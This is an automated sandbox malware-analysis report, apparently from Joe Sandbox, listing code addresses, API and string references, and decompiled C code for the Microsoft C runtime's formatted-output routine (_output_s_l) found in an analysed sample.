0x00b9569c
0x00b9569d
0x00b956a0
0x00b956a1
0x00b956b0
0x00b956b2
0x00b956b2
0x00b95692
0x00b956b5
0x00b956b8
0x00b956bb
0x00b956be
0x00b956c3
0x00b956c9
0x00b956cc
0x00b956cf
0x00b956cf
0x00b956d2
0x00b956d2
0x00b956d5
0x00b956e1
0x00000000
0x00b956e1
0x00b95583
0x00b95583
0x00b9558a
0x00b9558d
0x00000000
0x00000000
0x00b9558f
0x00b9558f
0x00000000
0x00b9558f
0x00b95574
0x00b95574
0x00000000
0x00000000
0x00b95201
0x00b95204
0x00b95204
0x00b9520a
0x00b95265
0x00b9526d
0x00b95274
0x00b9527a
0x00b95280
0x00b9520c
0x00b9520c
0x00b95216
0x00b9521a
0x00b95222
0x00b95229
0x00b95236
0x00b9523d
0x00b95249
0x00b9524f
0x00b95256
0x00b95258
0x00b95258
0x00b9525f
0x00b95287
0x00b9528d
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00000000
0x00b956e9
0x00b956ec
0x00b956ef
0x00b956f2
0x00000000
0x00000000
0x00b95447
0x00b95447
0x00b95453
0x00b95459
0x00b9545e
0x00b95460
0x00b9550a
0x00b9550d
0x00b9550d
0x00b95510
0x00b95524
0x00b9552a
0x00b95530
0x00b95512
0x00b95512
0x00b9551f
0x00b9551f
0x00b95532
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00b95466
0x00b95466
0x00b95466
0x00b95468
0x00b95476
0x00b9546a
0x00b9546a
0x00b9546a
0x00b95480
0x00b95486
0x00b9548c
0x00b95493
0x00b95495
0x00b9549a
0x00b9549c
0x00b954a1
0x00b954a6
0x00b954a8
0x00b954ad
0x00b954b0
0x00b954b3
0x00b954b5
0x00b954b5
0x00b954b3
0x00b954b6
0x00b954bd
0x00b95505
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b954bf
0x00b954bf
0x00b954c4
0x00b954e0
0x00b954e8
0x00b954f2
0x00b954f5
0x00b954fa
0x00000000
0x00b954fa
0x00000000
0x00b9574c
0x00b9574c
0x00b95756
0x00b95756
0x00b9575c
0x00b9575e
0x00b95761
0x00b95761
0x00b95767
0x00b95767
0x00000000
0x00000000
0x00b95704
0x00b95704
0x00000000
0x00000000
0x00b95341
0x00b95341
0x00b95345
0x00b95353
0x00b95356
0x00b95347
0x00b95347
0x00b95347
0x00b9535c
0x00b95362
0x00b95368
0x00b95374
0x00b9537a
0x00b9537a
0x00b95380
0x00b953e7
0x00b953e7
0x00b953eb
0x00b953ed
0x00b953f3
0x00b953f3
0x00b953f6
0x00b953f9
0x00b953ff
0x00b953ff
0x00b953ff
0x00b9540b
0x00b9540e
0x00b95414
0x00b95416
0x00000000
0x00000000
0x00b95418
0x00b95418
0x00b9541e
0x00b95421
0x00b95423
0x00000000
0x00000000
0x00b95425
0x00b9542b
0x00b9542e
0x00b9542e
0x00b95436
0x00b95436
0x00b9543c
0x00b9543c
0x00b9543f
0x00000000
0x00b95382
0x00b95382
0x00b95382
0x00b95386
0x00b95388
0x00b9538d
0x00b9538d
0x00b95390
0x00b95397
0x00b9539a
0x00b953a0
0x00b953a0
0x00b953a0
0x00b953ac
0x00b953af
0x00b953b5
0x00b953b7
0x00000000
0x00000000
0x00b953b9
0x00b953b9
0x00b953bf
0x00b953c2
0x00b953c4
0x00000000
0x00000000
0x00b953c6
0x00b953cc
0x00b953cf
0x00b953cf
0x00b953d7
0x00b953dd
0x00b953e0
0x00b953e2
0x00b95442
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00000000
0x00b956fb
0x00b956fb
0x00000000
0x00000000
0x00b95717
0x00b95717
0x00b95721
0x00b95721
0x00b9572b
0x00b9572b
0x00b95731
0x00b95733
0x00b9573d
0x00b9573d
0x00b95740
0x00b95743
0x00b95743
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00b95888
0x00b95888
0x00b9588e
0x00b95894
0x00b9589a
0x00000000
0x00b95848
0x00b95848
0x00b95848
0x00b9584f
0x00000000
0x00000000
0x00b95851
0x00b95851
0x00b9585c
0x00b95862
0x00b95864
0x00b9586a
0x00b9586d
0x00b9586f
0x00b95875
0x00b9587e
0x00b95883
0x00b958a0
0x00b958a3
0x00b958a3
0x00b958a8
0x00b958ad
0x00b958ad
0x00b958b3
0x00b958b5
0x00b958bb
0x00b958c1
0x00b958c1
0x00b958ca
0x00b958ca
0x00b958b3
0x00b958d0
0x00b958d4
0x00b958e2
0x00b958e5
0x00b958e8
0x00b958ef
0x00b958f1
0x00b958f1
0x00b958d6
0x00b958d6
0x00b958d6
0x00b958fe
0x00b958fe
0x00b95904
0x00b95906
0x00b95906
0x00b9590d
0x00b95910
0x00b95913
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00b95923
0x00b95929
0x00b95929
0x00b9592f
0x00000000
0x00000000
0x00b95931
0x00b95931
0x00b95934
0x00b95937
0x00b9593e
0x00b95945
0x00b9594d
0x00b95953
0x00b95956
0x00b95959
0x00b95960
0x00b9596c
0x00b95972
0x00b95978
0x00b9597f
0x00b95981
0x00b95987
0x00b95987
0x00b9598d
0x00b9598d
0x00b95993
0x00b95996
0x00b9599c
0x00b959a1
0x00b959a4
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00000000
0x00b95921
0x00b95913
0x00b95853
0x00b95853
0x00b9585a
0x00000000
0x00000000
0x00000000
0x00b9585a
0x00000000
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00000000
0x00b94fb1
0x00b94fb4
0x00b94fb7
0x00000000
0x00000000
0x00b94fbc
0x00b94fbf
0x00b94fc4
0x00000000
0x00000000
0x00b94fa6
0x00b94fa6
0x00b94fa9
0x00b94fac
0x00000000
0x00000000
0x00b94f9b
0x00b94f9e
0x00b94fa1
0x00000000
0x00000000
0x00b94fc9
0x00b94fc9
0x00b94fcc
0x00b94fcc
0x00b94fcf
0x00000000
0x00000000
0x00b94fd2
0x00000000
0x00000000
0x00b94d6e
0x00b94d70
0x00b94d7e
0x00b94d72
0x00b94d72
0x00b94d72
0x00b94d88
0x00b94d8e
0x00b94d9b
0x00b94d9d
0x00b94da2
0x00b94da4
0x00b94da9
0x00b94dae
0x00b94db0
0x00b94db5
0x00b94dbb
0x00b94dbd
0x00b94dbd
0x00b94dbb
0x00b94dbe
0x00b94dc5
0x00000000
0x00b94dc7
0x00b94dcc
0x00b94de8
0x00b94df0
0x00b94dfd
0x00b94e02
0x00b95cc1
0x00b95cce
0x00b95cce
0x00b94dc5
0x00b94d68
0x00b95bfd
0x00b95c04
0x00b95c1b
0x00b95c1b
0x00b95c25
0x00b95c25
0x00b95c2b
0x00b95c38
0x00b95c3a
0x00b95c3f
0x00b95c41
0x00b95c46
0x00b95c4b
0x00b95c4d
0x00b95c52
0x00b95c58
0x00b95c5a
0x00b95c5a
0x00b95c58
0x00b95c62
0x00b95cad
0x00b95cb6
0x00b95cbb
0x00b95c64
0x00b95c69
0x00b95c85
0x00b95c8d
0x00b95c9a
0x00b95c9f
0x00b95c9f
0x00000000
0x00b95c62
0x00b95c06
0x00b95c0d
0x00000000
0x00000000
0x00b95c0f
0x00b95c0f
0x00000000
0x00b95c0f
0x00b959f2
0x00b952bc
0x00b952bc
0x00b952c2
0x00b952c9
0x00b952ce
0x00b952d1
0x00000000
0x00b952d1

APIs

_get_int_arg.LIBCMTD ref: 00B95299
_strlen.LIBCMT ref: 00B952C9
_write_multi_char.LIBCMTD ref: 00B95A6E
_write_string.LIBCMTD ref: 00B95A89
_write_multi_char.LIBCMTD ref: 00B95AB5
_wctomb_s.LIBCMTD ref: 00B95B32

Strings

-, xrefs: 00B95A0E
_output_s_l, xrefs: 00B94DDE
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00B94DA9, 00B94DD9
("Incorrect format specifier", 0), xrefs: 00B94D9D, 00B94DE3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-3257747220
Opcode ID: c3e401840fee3b5909259faadae9ec74e7cb89676e21357190a354366dda434f
Instruction ID: 74ae397e228501b8b53ce14fa32d1efce69fa985d2eda0078b1e0a1315d81557
Opcode Fuzzy Hash: c3e401840fee3b5909259faadae9ec74e7cb89676e21357190a354366dda434f
Instruction Fuzzy Hash: 36A144B09456288BDF65DF58CC89BEDB7F1EB48304F2481E9E4196A291EB749E80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B965E4 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00B965E4(void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t482 = E00B93D50(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E00B971B0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E00B971F0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E00B971B0(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E00B971F0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E00B7C680(_t596 - 0x40);
									_t524 = E00B90E50(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E00B7C680(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E00B97150( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E00B971B0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L00B7EB20( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00B77B58) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0xb77b78) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0xb77b78) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M00B97044))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E00B97150( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0xb9707c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00B97064))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0xb970a4; // 0x68b19003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00B97090))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0xb97110; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M00B970D4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L00B7DEA0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E00B7C680(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
